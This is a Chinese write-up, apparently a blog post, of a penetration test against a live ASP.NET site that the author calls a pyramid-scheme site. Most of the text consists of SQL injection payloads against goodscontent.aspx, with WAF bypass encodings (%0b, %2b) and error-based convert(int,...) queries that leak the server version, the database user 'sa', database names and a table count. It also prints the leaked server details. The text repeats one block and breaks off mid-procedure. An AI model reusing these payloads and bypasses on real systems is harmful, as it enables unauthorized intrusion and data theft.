一、前言
如題,由于是在已知有一處sql注入的情況下才接手進行的后續操作,因此前面信息搜集則一筆帶過。
二、信息搜集
目標是個本地的傳銷站點其大致信息為IIS+ASP.NET+安全狗、騰訊云。
三.pass Sq
3.1 Fuzz
根據如上測試可以看出程序本身也有過濾,error為程序自身的過濾。可以利用IIS處理%符號的機制繞過部分符號,例如空格使用%0b 加號使用%2b等。再根據測試的結果,可以先利用convert轉換報錯獲取一部分信息。
goodscontent.aspx?gid=convert(int,@@version)#版本信息goodscontent.aspx?gid=convert(int,db_name())#數據庫信息goodscontent.aspx?gid=convert(int,user_name())#當前數據庫用戶……tips:可以通過遍歷db_name(1)中的數字獲取其他庫名
goodscontent.aspx?gid=convert(int,@@version)#版本信息goodscontent.aspx?gid=convert(int,db_name())#數據庫信息goodscontent.aspx?gid=convert(int,user_name())#當前數據庫用戶……tips:可以通過遍歷db_name(1)中的數字獲取其他庫名
得到以
ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400數據庫版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)用戶名:sa計算機名:10_*_76_*SQLEXPRESS 10.*.76.*當前庫:pan20170823所有庫名:pan20170823mastertempdbmodelmsdbReportServer$SQLEXPRESSReportServer$SQLEXPRESSTempDB
再往下就是獲取表的信息
1.goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#獲取表總個數